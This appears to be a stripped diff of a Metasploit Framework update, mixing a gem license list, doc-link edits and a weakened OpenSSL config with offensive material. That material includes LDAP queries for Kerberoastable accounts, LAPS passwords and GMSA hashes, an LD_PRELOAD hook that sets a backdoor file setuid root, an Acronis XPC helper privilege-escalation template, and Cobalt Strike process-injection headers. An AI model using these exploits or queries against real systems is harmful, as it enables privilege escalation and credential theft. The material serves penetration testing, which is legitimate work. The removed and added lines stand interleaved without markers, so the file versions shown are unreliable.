digest, 3.1.0, "ruby, Simplified BSD"
dnsruby, 1.61.9, "Apache 2.0"
docile, 1.4.0, MIT
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
ed25519, 1.3.0, MIT
em-http-request, 1.1.7, MIT
em-socksify, 0.3.2, MIT
erubi, 1.11.0, MIT
erubi, 1.12.0, MIT
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 6.2.1, MIT
factory_bot_rails, 6.2.0, MIT
faker, 2.23.0, MIT
faraday, 2.5.2, MIT
faraday-net_http, 3.0.0, MIT
faker, 3.1.1, MIT
faraday, 2.7.4, MIT
faraday-net_http, 3.0.2, MIT
faraday-retry, 2.0.0, MIT
faye-websocket, 0.11.1, "Apache 2.0"
ffi, 1.15.5, "New BSD"
@@ -58,39 +58,39 @@ http-cookie, 1.0.5, MIT
http_parser.rb, 0.8.0, MIT
httpclient, 2.8.3, ruby
i18n, 1.12.0, MIT
io-console, 0.5.11, "ruby, Simplified BSD"
irb, 1.4.1, "ruby, Simplified BSD"
jmespath, 1.6.1, "Apache 2.0"
io-console, 0.6.0, "ruby, Simplified BSD"
irb, 1.6.2, "ruby, Simplified BSD"
jmespath, 1.6.2, "Apache 2.0"
jsobfu, 0.4.2, "New BSD"
json, 2.6.2, ruby
json, 2.6.3, ruby
little-plugger, 1.1.4, MIT
logging, 2.3.1, MIT
loofah, 2.18.0, MIT
memory_profiler, 1.0.0, MIT
loofah, 2.19.1, MIT
memory_profiler, 1.0.1, MIT
metasm, 1.0.5, LGPL-2.1
metasploit-concern, 4.0.5, "New BSD"
metasploit-credential, 5.0.9, "New BSD"
metasploit-framework, 6.2.19, "New BSD"
metasploit-model, 4.0.6, "New BSD"
metasploit-payloads, 2.0.94, "3-clause (or ""modified"") BSD"
metasploit_data_models, 5.0.5, "New BSD"
metasploit_payloads-mettle, 1.0.18, "3-clause (or ""modified"") BSD"
metasploit-concern, 5.0.1, "New BSD"
metasploit-credential, 6.0.2, "New BSD"
metasploit-framework, 6.3.4, "New BSD"
metasploit-model, 5.0.1, "New BSD"
metasploit-payloads, 2.0.108, "3-clause (or ""modified"") BSD"
metasploit_data_models, 6.0.2, "New BSD"
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
method_source, 1.0.0, MIT
mini_portile2, 2.8.0, MIT
minitest, 5.16.3, MIT
mini_portile2, 2.8.1, MIT
minitest, 5.17.0, MIT
mqtt, 0.5.0, MIT
msgpack, 1.5.6, "Apache 2.0"
msgpack, 1.6.0, "Apache 2.0"
multi_json, 1.15.0, MIT
mustermann, 2.0.2, MIT
mustermann, 3.0.0, MIT
nessus_rest, 0.1.6, MIT
net-ldap, 0.17.1, MIT
net-protocol, 0.1.3, "ruby, Simplified BSD"
net-smtp, 0.3.1, "ruby, Simplified BSD"
net-protocol, 0.2.1, "ruby, Simplified BSD"
net-smtp, 0.3.3, "ruby, Simplified BSD"
net-ssh, 7.0.1, MIT
network_interface, 0.0.2, MIT
nexpose, 7.3.0, "New BSD"
nio4r, 2.5.8, MIT
nokogiri, 1.13.8, MIT
nokogiri, 1.14.1, MIT
nori, 2.6.0, MIT
octokit, 4.25.1, MIT
openssl-ccm, 1.2.3, MIT
@@ -98,94 +98,96 @@ openssl-cmac, 2.0.2, MIT
openvas-omp, 0.0.4, MIT
packetfu, 1.1.13, BSD
parallel, 1.22.1, MIT
parser, 3.1.2.1, MIT
parser, 3.2.0.0, MIT
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.13.1, LGPL-2.1
pdf-reader, 2.10.0, MIT
pg, 1.4.3, "Simplified BSD"
pry, 0.13.1, MIT
pry-byebug, 3.9.0, MIT
public_suffix, 5.0.0, MIT
puma, 5.6.5, "New BSD"
racc, 1.6.0, "ruby, Simplified BSD"
rack, 2.2.4, MIT
rack-protection, 2.2.2, MIT
pdf-reader, 2.11.0, MIT
pg, 1.4.5, "Simplified BSD"
pry, 0.14.2, MIT
pry-byebug, 3.10.1, MIT
public_suffix, 5.0.1, MIT
puma, 6.0.2, "New BSD"
racc, 1.6.2, "ruby, Simplified BSD"
rack, 2.2.6.2, MIT
rack-protection, 3.0.5, MIT
rack-test, 2.0.2, MIT
rails-dom-testing, 2.0.3, MIT
rails-html-sanitizer, 1.4.3, MIT
railties, 6.1.7, MIT
rails-html-sanitizer, 1.5.0, MIT
railties, 7.0.4.2, MIT
rainbow, 3.1.1, MIT
rake, 13.0.6, MIT
rasn1, 0.12.1, MIT
rb-readline, 0.5.5, BSD
recog, 2.3.23, unknown
redcarpet, 3.5.1, MIT
regexp_parser, 2.5.0, MIT
reline, 0.3.1, ruby
recog, 3.0.3, unknown
redcarpet, 3.6.0, MIT
regexp_parser, 2.6.2, MIT
reline, 0.3.2, ruby
rex-arch, 0.1.14, "New BSD"
rex-bin_tools, 0.1.8, "New BSD"
rex-core, 0.1.28, "New BSD"
rex-core, 0.1.30, "New BSD"
rex-encoder, 0.1.6, "New BSD"
rex-exploitation, 0.1.36, "New BSD"
rex-exploitation, 0.1.37, "New BSD"
rex-java, 0.1.6, "New BSD"
rex-mime, 0.1.7, "New BSD"
rex-nop, 0.1.2, "New BSD"
rex-ole, 0.1.7, "New BSD"
rex-powershell, 0.1.97, "New BSD"
rex-random_identifier, 0.1.9, "New BSD"
rex-random_identifier, 0.1.10, "New BSD"
rex-registry, 0.1.4, "New BSD"
rex-rop_builder, 0.1.4, "New BSD"
rex-socket, 0.1.42, "New BSD"
rex-sslscan, 0.1.8, "New BSD"
rex-socket, 0.1.47, "New BSD"
rex-sslscan, 0.1.9, "New BSD"
rex-struct2, 0.1.3, "New BSD"
rex-text, 0.2.45, "New BSD"
rex-text, 0.2.49, "New BSD"
rex-zip, 0.1.4, "New BSD"
rexml, 3.2.5, "Simplified BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.11.0, MIT
rspec-core, 3.11.0, MIT
rspec-expectations, 3.11.1, MIT
rspec-mocks, 3.11.1, MIT
rspec-rails, 5.1.2, MIT
rspec, 3.12.0, MIT
rspec-core, 3.12.1, MIT
rspec-expectations, 3.12.2, MIT
rspec-mocks, 3.12.3, MIT
rspec-rails, 6.0.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.11.1, MIT
rubocop, 1.36.0, MIT
rubocop-ast, 1.21.0, MIT
rspec-support, 3.12.0, MIT
rubocop, 1.44.1, MIT
rubocop-ast, 1.24.1, MIT
ruby-macho, 3.0.0, MIT
ruby-prof, 1.4.2, "Simplified BSD"
ruby-progressbar, 1.11.0, MIT
ruby-rc4, 0.1.5, MIT
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
ruby_smb, 3.2.0, "New BSD"
ruby_smb, 3.2.4, "New BSD"
rubyntlm, 0.6.3, MIT
rubyzip, 2.3.2, "Simplified BSD"
sawyer, 0.9.2, MIT
simplecov, 0.18.2, MIT
simplecov-html, 0.12.3, MIT
simpleidn, 0.2.1, MIT
sinatra, 2.2.2, MIT
sqlite3, 1.5.0, "New BSD"
sinatra, 3.0.5, MIT
sqlite3, 1.6.0, "New BSD"
sshkey, 2.0.0, MIT
strptime, 0.2.5, "Simplified BSD"
swagger-blocks, 3.0.0, MIT
thin, 1.8.1, "GPL-2.0+, ruby"
thor, 1.2.1, MIT
tilt, 2.0.11, MIT
timecop, 0.9.5, MIT
timeout, 0.3.0, "ruby, Simplified BSD"
timecop, 0.9.6, MIT
timeout, 0.3.1, "ruby, Simplified BSD"
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 2.0.5, MIT
tzinfo-data, 1.2022.3, MIT
tzinfo, 2.0.6, MIT
tzinfo-data, 1.2022.7, MIT
unf, 0.1.4, "2-clause BSDL"
unf_ext, 0.0.8.2, MIT
unicode-display_width, 2.2.0, MIT
unicode-display_width, 2.4.2, MIT
unix-crypt, 1.3.0, BSD
warden, 1.2.9, MIT
webrick, 1.7.0, "ruby, Simplified BSD"
websocket-driver, 0.7.5, "Apache 2.0"
websocket-extensions, 0.1.5, "Apache 2.0"
win32api, 0.1.0, unknown
windows_error, 0.1.4, BSD
windows_error, 0.1.5, BSD
winrm, 2.3.6, "Apache 2.0"
xdr, 3.0.3, "Apache 2.0"
xmlrpc, 0.3.2, "ruby, Simplified BSD"
yard, 0.9.28, MIT
zeitwerk, 2.6.0, MIT
zeitwerk, 2.6.6, MIT
+1 -1
View File
@@ -1,4 +1,4 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
Metasploit [![Maintainability](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/maintainability)](https://codeclimate.com/github/rapid7/metasploit-framework/maintainability) [![Test Coverage](https://api.codeclimate.com/v1/badges/943e398e619c09568f3f/test_coverage)](https://codeclimate.com/github/rapid7/metasploit-framework/test_coverage) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
==
The Metasploit Framework is released under a BSD-style license. See
[COPYING](COPYING) for more details.
+4
View File
@@ -49,6 +49,10 @@ module Metasploit
when "production"
config.eager_load = true
end
if ActiveRecord.respond_to?(:legacy_connection_handling=)
ActiveRecord.legacy_connection_handling = false
end
end
end
end
+9
View File
@@ -2,6 +2,7 @@ openssl_conf = openssl_init
[openssl_init]
providers = provider_sect
ssl_conf = ssl_sect
[provider_sect]
default = default_sect
@@ -12,3 +13,11 @@ activate = 1
[legacy_sect]
activate = 1
[ssl_sect]
system_default = system_default_sect
[system_default_sect]
MinProtocol = SSLv3
CipherString = ALL:@SECLEVEL=0
Options = UnsafeLegacyRenegotiation
@@ -1,7 +1,36 @@
---
queries:
- action: ENUM_ADCS_CAS
description: 'Enumerate ADCS certificate authorities.'
- action: ENUM_ACCOUNTS
description: 'Dump info about all known user accounts in the domain.'
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368)(objectcategory=user)(objectClass=user))'
attributes:
- dn
- name
- description
- displayName
- sAMAccountName
- objectSID
- userPrincipalName
- userAccountControl
- homeDirectory
- homeDrive
- profilePath
- memberof
- lastLogoff
- lastLogon
- lastLogonDate
- logonCount
- badPwdCount
- pwdLastSet
- SmartcardLogonRequired
- LastBadPasswordAttempt
- PasswordLastSet
- PaswordNeverExpires
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- action: ENUM_AD_CS_CAS
description: 'Enumerate AD Certificate Service certificate authorities.'
base_dn_prefix: 'CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration'
filter: '(objectClass=pKIEnrollmentService)'
attributes:
@@ -10,57 +39,122 @@ queries:
- cACertificateDN
- dNSHostname
- certificateTemplates
- action: ENUM_ADCS_CERT_TEMPLATES
description: 'Enumerate ADCS certificate templates.'
- objectGUID
- caCertificate
references:
- https://aaroneg.com/post/2018-05-15-enterprise-ca/
- action: ENUM_AD_CS_CERT_TEMPLATES
description: 'Enumerate AD Certificate Service certificate templates.'
base_dn_prefix: 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration'
filter: '(objectClass=pkicertificatetemplate)'
attributes:
- cn
- name
- displayName
- msPKI-Cert-Template-OID
- msPKI-Template-Schema-Version
- msPKI-Enrollment-Flag
- msPKI-Private-Key-Flag
- msPKI-Certificate-Name-Flag
- msPKI-Private-Key-Flag
- msPKI-RA-Signature
- pKIExtendedKeyUsage
- action: ENUM_ALL_OBJECT_CLASS
description: 'Dump all objects containing any objectClass field.'
filter: '(objectClass=*)'
references:
- https://web.archive.org/web/20220818094600if_/https://specterops.io/assets/resources/Certified_Pre-Owned.pdf
- action: ENUM_ADMIN_OBJECTS
description: 'Dump info about all objects with protected ACLs (i.e highly privileged objects).'
filter: '(adminCount=1)'
attributes:
- dn
- objectClass
- description
- distinguishedName
- name
- samAccountName
- objectSID
- objectGUID
- objectCategory
- member
- memberof
references:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- action: ENUM_ALL_OBJECT_CATEGORY
description: 'Dump all objects containing any objectCategory field.'
filter: '(objectCategory=*)'
attributes:
- dn
- objectCategory
- action: ENUM_ACCOUNTS
description: 'Dump info about all known user accounts in the domain.'
filter: '(|(objectClass=organizationalPerson)(sAMAccountType=805306368))'
- action: ENUM_ALL_OBJECT_CLASS
description: 'Dump all objects containing any objectClass field.'
filter: '(objectClass=*)'
attributes:
- dn
- objectClass
- action: ENUM_COMPUTERS
description: 'Dump all objects containing an objectCategory or objectClass of Computer.'
filter: '(|(objectCategory=computer)(objectClass=computer))'
attributes:
- dn
- name
- description
- displayName
- samAccountName
- userPrincipalName
- userAccountControl
- homeDirectory
- homeDrive
- profilePath
- action: ENUM_COMPUTERS
description: 'Dump all objects containing an objectCategory of Computer.'
filter: '(objectCategory=Computer)'
attributes:
- dn
- displayName
- sAMAccountName
- objectSID
- distinguishedName
- dNSHostName
- description
- givenName
- name
- operatingSystem
- operatingSystemVersion
- operatingSystemServicePack
- lastLogonTimestamp
- servicePrincipalName
- primaryGroupId
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- action: ENUM_CONSTRAINED_DELEGATION
description: 'Dump info about all known objects that allow contrained delegation.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=16777216)'
attributes:
- cn
- sAMAccountName
- objectCategory
- msds-allowedtodelegateto
- servicePrincipalName
references:
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-kerberos-constrained-delegation
- action: ENUM_DNS_RECORDS
description: 'Dump info about DNS records the server knows about using the dnsNode object class.'
filter: '(objectClass=dnsNode)'
attributes:
- dc
- cn
- dnsRecord
- dnsTombstoned
- name
references:
- https://www.netspi.com/blog/technical/network-penetration-testing/exploiting-adidns/
- https://github.com/dirkjanm/krbrelayx/blob/master/dnstool.py
- action: ENUM_DNS_ZONES
description: 'Dump info about DNS zones the server knows about using the dnsZone object class under the DC DomainDnsZones. This is needed as without this BASEDN prefix we often miss certain entries.'
filter: '(objectClass=dnsZone)'
base_dn_prefix: 'DC=DomainDnsZones'
attributes:
- name
- distinguishedName
references:
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- action: ENUM_DOMAIN
description: 'Dump info about the Active Directory domain.'
filter: '(objectClass=domain)'
attributes:
- ms-DS-MachineAccountQuota
- objectSID
- name
- lockoutduration
- lockoutthreshold
- minpwdage
- maxpwdage
- minpwdlength
- action: ENUM_DOMAIN_CONTROLLERS
description: 'Dump all known domain controllers.'
filter: '(&(objectCategory=Computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))'
@@ -72,8 +166,22 @@ queries:
- description
- givenName
- name
- operatingSystem
- operatingSystemVersion
- operatingSystemServicePack
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- action: ENUM_EXCHANGE_RECIPIENTS
description: 'Dump info about all known Exchange recipients.'
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
attributes:
- dn
- mailNickname
- proxyAddresses
- name
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_EXCHANGE_SERVERS
description: 'Dump info about all known Exchange servers.'
filter: '(&(objectClass=msExchExchangeServer)(!(objectClass=msExchExchangeServerPolicy)))'
@@ -85,37 +193,182 @@ queries:
- description
- givenName
- name
- operatingSystem
- operatingSystemVersion
- operatingSystemServicePack
- action: ENUM_EXCHANGE_RECIPIENTS
description: 'Dump info about all known Exchange recipients.'
filter: '(|(mailNickname=*)(proxyAddresses=FAX:*))'
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://adsecurity.org/wp-content/uploads/2016/08/DEFCON24-2016-Metcalf-BeyondTheMCSE-RedTeamingActiveDirectory.pdf
- action: ENUM_GMSA_HASHES
description: 'Dump info about GMSAs and their password hashes if available.'
filter: '(objectClass=msDS-GroupManagedServiceAccount)'
attributes:
- dn
- mailNickname
- proxyAddresses
- name
- cn
- displayName
- msDS-ManagedPassword
references:
- https://stealthbits.com/blog/securing-gmsa-passwords/
- https://o365blog.com/post/gmsa/
- https://adsecurity.org/?p=4367
- action: ENUM_GROUPS
description: 'Dump info about all known groups in the LDAP environment.'
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup))'
filter: '(|(objectClass=group)(objectClass=groupOfNames)(groupType:1.2.840.113556.1.4.803:=2147483648)(objectClass=posixGroup)(objectcategory=group))'
attributes:
- dn
- name
- groupType
- memberof
- action: ENUM_ORGUNITS
description: 'Dump info about all known organizational units in the LDAP environment.'
filter: '(objectClass=organizationalUnit)'
attributes:
- dn
- displayName
- cn
- name
- description
- groupType
- memberof
- member
- owner
- adminCount
- managedBy
- groupAttributes
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_GROUP_POLICY_OBJECTS
description: 'Dump info about all known Group Policy Objects (GPOs) in the LDAP environment.'
filter: '(objectClass=groupPolicyContainer)'
attributes:
- displayName
- gPCFileSysPath
- objectCategory
- objectGUID
references:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- action: ENUM_HOSTNAMES
description: 'Dump info about all known hostnames in the LDAP environment.'
filter: '(dnsHostName=*)'
attributes:
- dn
- name
- dnsHostName
- serverName
references:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1
- action: ENUM_LAPS_PASSWORDS
description: 'Dump info about computers that have LAPS enabled, and passwords for them if available.'
filter: '(ms-MCS-AdmPwd=*)'
attributes:
- cn
- displayName
- ms-MCS-AdmPwd
references:
- https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/ldap-ldaps
- action: ENUM_LDAP_SERVER_METADATA
description: 'Dump metadata about the setup of the domain.'
filter: '(objectClass=*)'
attributes:
- dn
- defaultNamingContext
- domainFunctionality
- forestFunctionality
- domainControllerFunctionality
- dnsHostName
references:
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Fun_With_LDAP.pdf
- action: ENUM_MACHINE_ACCOUNT_QUOTA
description: 'Dump the number of computer accounts a user is allowed to create in a domain.'
filter: '(objectClass=domain)'
attributes:
- ms-DS-MachineAccountQuota
references:
- https://learn.microsoft.com/en-us/windows/win32/adschema/a-ms-ds-machineaccountquota
- action: ENUM_ORGROLES
description: 'Dump info about all known organization roles in the LDAP environment.'
filter: '(objectClass=organizationalRole)'
attributes:
- dn
- displayName
- name
- description
- action: ENUM_ORGUNITS
description: 'Dump info about all known organizational units in the LDAP environment.'
filter: '(objectClass=organizationalUnit)'
attributes:
- displayName
- name
- description
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- action: ENUM_UNCONSTRAINED_DELEGATION
description: 'Dump info about all known objects that allow uncontrained delegation.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=524288)'
attributes:
- cn
- sAMAccountName
- objectCategory
- memberof
- member
references:
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/domain-compromise-via-unrestricted-kerberos-delegation
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- action: ENUM_USER_ACCOUNT_DISABLED
description: 'Dump info about disabled user accounts.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=2)'
attributes:
- cn
- displayName
- description
- sAMAccountName
- userPrincipalName
- userAccountControl
- action: ENUM_USER_ACCOUNT_LOCKED_OUT
description: 'Dump info about locked out user accounts.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=16)'
attributes:
- cn
- displayName
- sAMAccountName
- userPrincipalName
- userAccountControl
references:
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- action: ENUM_USER_ASREP_ROASTABLE
description: 'Dump info about all users who are configured not to require kerberos pre-authentication and are therefore AS-REP roastable.'
filter: '(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=4194304))'
attributes:
- cn
- displayName
- description
- sAMAccountName
- userPrincipalName
- userAccountControl
references:
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
- https://burmat.gitbook.io/security/hacking/domain-exploitation
- action: ENUM_USER_PASSWORD_NEVER_EXPIRES
description: 'Dump info about all users whose password never expires.'
filter: '(userAccountControl:1.2.840.113556.1.4.803:=65536)'
attributes:
- cn
- displayName
- description
- sAMAccountName
- userPrincipalName
- userAccountControl
references:
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- action: ENUM_USER_PASSWORD_NOT_REQUIRED
description: 'Dump info about all users whose password never expires and whose account is still enabled.'
filter: '(&(userAccountControl:1.2.840.113556.1.4.803:=32)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
attributes:
- cn
- displayName
- description
- sAMAccountName
- userPrincipalName
- userAccountControl
references:
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
- action: ENUM_USER_SPNS_KERBEROAST
description: 'Dump info about all user objects with Service Principal Names (SPNs) for kerberoasting.'
filter: '(&(&(servicePrincipalName=*)(userAccountControl:1.2.840.113556.1.4.803:=512))(!(userAccountControl:1.2.840.113556.1.4.803:=2)))'
attributes:
- cn
- sAMAccountName
- servicePrincipalName
references:
- https://malicious.link/post/2022/ldapsearch-reference/
- https://burmat.gitbook.io/security/hacking/domain-exploitation
- https://learn.microsoft.com/en-us/troubleshoot/windows-server/identity/useraccountcontrol-manipulate-account-properties
@@ -0,0 +1,15 @@
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
Binary file not shown.
@@ -0,0 +1,46 @@
#import <Foundation/Foundation.h>
@protocol HelperToolProtocol
- (void)checkFullDiskAccessWithReply:(void (^)(BOOL))arg1;
- (void)executeProcess:(NSString *)arg1 arguments:(NSArray *)arg2 caller:(int)arg3 withReply:(void (^)(int))arg4;
- (void)getProcessIdentifierWithReply:(void (^)(int))arg1;
@end
int main(int argc, char *argv[])
{
NSString *service_name;
NSString *payload = @"<%= @payload_path %>";
NSArray *arg_array = @[@"-c", payload];
NSFileManager *file_manager = [NSFileManager defaultManager];
NSString *service_name_2020 = @"com.acronis.trueimagehelper";
NSString *service_name_2021 = @"com.acronis.helpertool";
NSString *helper_path_2020 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2020];
NSString *helper_path_2021 = [NSString stringWithFormat:@"/Library/PrivilegedHelperTools/%@", service_name_2021];
if ([file_manager fileExistsAtPath:helper_path_2020])
{
service_name = service_name_2020;
}
else
{
service_name = service_name_2021;
}
NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
NSXPCInterface *interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError *error)
{
return;
}];
[obj executeProcess:@"<%= sys_shell %>" arguments:arg_array caller:<%= @pid %> withReply:^(int arg)
{
return;
}];
}
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -71,6 +71,8 @@
<B N="V"><%= arg[:value].to_s %></B>
<% elsif arg[:value].is_a? String %>
<S N="V"><%= arg[:value].encode(xml: :text) %></S>
<% elsif arg[:value].is_a? Nokogiri::XML::Element %>
<%= arg[:value].to_s %>
<% end %>
</MS>
</Obj>
@@ -8,7 +8,7 @@
</soap:Header>
<soap:Body>
<m:ResolveNames ReturnFullContactData="true" SearchScope="ActiveDirectory">
<m:UnresolvedEntry>SMTP:</m:UnresolvedEntry>
<m:UnresolvedEntry><%= name %></m:UnresolvedEntry>
</m:ResolveNames>
</soap:Body>
</soap:Envelope>
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,69 @@
/*
* Beacon Object Files (BOF)
* -------------------------
* A Beacon Object File is a light-weight post exploitation tool that runs
* with Beacon's inline-execute command.
*
* Additional BOF resources are available here:
* - https://github.com/Cobalt-Strike/bof_template
*
* Cobalt Strike 4.x
* ChangeLog:
* 1/25/2022: updated for 4.5
*/
/* data API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} datap;
DECLSPEC_IMPORT void BeaconDataParse(datap * parser, char * buffer, int size);
DECLSPEC_IMPORT char * BeaconDataPtr(datap * parser, int size);
DECLSPEC_IMPORT int BeaconDataInt(datap * parser);
DECLSPEC_IMPORT short BeaconDataShort(datap * parser);
DECLSPEC_IMPORT int BeaconDataLength(datap * parser);
DECLSPEC_IMPORT char * BeaconDataExtract(datap * parser, int * size);
/* format API */
typedef struct {
char * original; /* the original buffer [so we can free it] */
char * buffer; /* current pointer into our buffer */
int length; /* remaining length of data */
int size; /* total size of this buffer */
} formatp;
DECLSPEC_IMPORT void BeaconFormatAlloc(formatp * format, int maxsz);
DECLSPEC_IMPORT void BeaconFormatReset(formatp * format);
DECLSPEC_IMPORT void BeaconFormatAppend(formatp * format, char * text, int len);
DECLSPEC_IMPORT void BeaconFormatPrintf(formatp * format, char * fmt, ...);
DECLSPEC_IMPORT char * BeaconFormatToString(formatp * format, int * size);
DECLSPEC_IMPORT void BeaconFormatFree(formatp * format);
DECLSPEC_IMPORT void BeaconFormatInt(formatp * format, int value);
/* Output Functions */
#define CALLBACK_OUTPUT 0x0
#define CALLBACK_OUTPUT_OEM 0x1e
#define CALLBACK_OUTPUT_UTF8 0x20
#define CALLBACK_ERROR 0x0d
DECLSPEC_IMPORT void BeaconOutput(int type, char * data, int len);
DECLSPEC_IMPORT void BeaconPrintf(int type, char * fmt, ...);
/* Token Functions */
DECLSPEC_IMPORT BOOL BeaconUseToken(HANDLE token);
DECLSPEC_IMPORT void BeaconRevertToken();
DECLSPEC_IMPORT BOOL BeaconIsAdmin();
/* Spawn+Inject Functions */
DECLSPEC_IMPORT void BeaconGetSpawnTo(BOOL x86, char * buffer, int length);
DECLSPEC_IMPORT void BeaconInjectProcess(HANDLE hProc, int pid, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT void BeaconInjectTemporaryProcess(PROCESS_INFORMATION * pInfo, char * payload, int p_len, int p_offset, char * arg, int a_len);
DECLSPEC_IMPORT BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO * si, PROCESS_INFORMATION * pInfo);
DECLSPEC_IMPORT void BeaconCleanupProcess(PROCESS_INFORMATION * pInfo);
/* Utility Functions */
DECLSPEC_IMPORT BOOL toWideChar(char * src, wchar_t * dst, int max);
+2 -2
View File
@@ -15,7 +15,7 @@
<% end %>
## Module Ranking
<%# https://github.com/rapid7/metasploit-framework/wiki/Exploit-Ranking %>
<%# https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html %>
**<%= items[:mod_rank_name] %>**
@@ -47,7 +47,7 @@
<% end %>
## Module Traits
<%# https://github.com/rapid7/metasploit-framework/wiki/Definition-of-Module-Reliability,-Side-Effects,-and-Stability %>
<%# https://docs.metasploit.com/docs/development/developing-modules/module-metadata/definition-of-module-reliability-side-effects-and-stability.html %>
<% unless items[:mod_side_effects].empty? %>
### Side Effects
+1 -1
View File
@@ -5,4 +5,4 @@ msf <%= mod.type %>(<%= mod.shortname %>) > show options
msf <%= mod.type %>(<%= mod.shortname %>) > generate
```
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom).
To learn how to generate <%= mod.fullname %> with msfvenom, please [read this](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html).
+229
View File
@@ -0,0 +1,229 @@
import copy
import struct
import sys
def chunks(lst, n):
for i in range(0, len(lst), n):
yield lst[i:i + n]
def _cw(word):
return (word[0] << 24) | (word[1] << 16) | (word[2] << 8) | word[3]
def _s2b(text):
return list(ord(c)for c in text)
def _b2s(binary):
return "".join(chr(b)for b in binary)
if sys.version_info[0] >= 3:
xrange = range
def _s2b(text):
if isinstance(text, bytes):
return text
return [ord(c)for c in text]
def _b2s(binary):
return bytes(binary)
else:
def bytes(s, e): return s
def _gmul(a, b):
r = 0
while b:
if b & 1:
r ^= a
a <<= 1
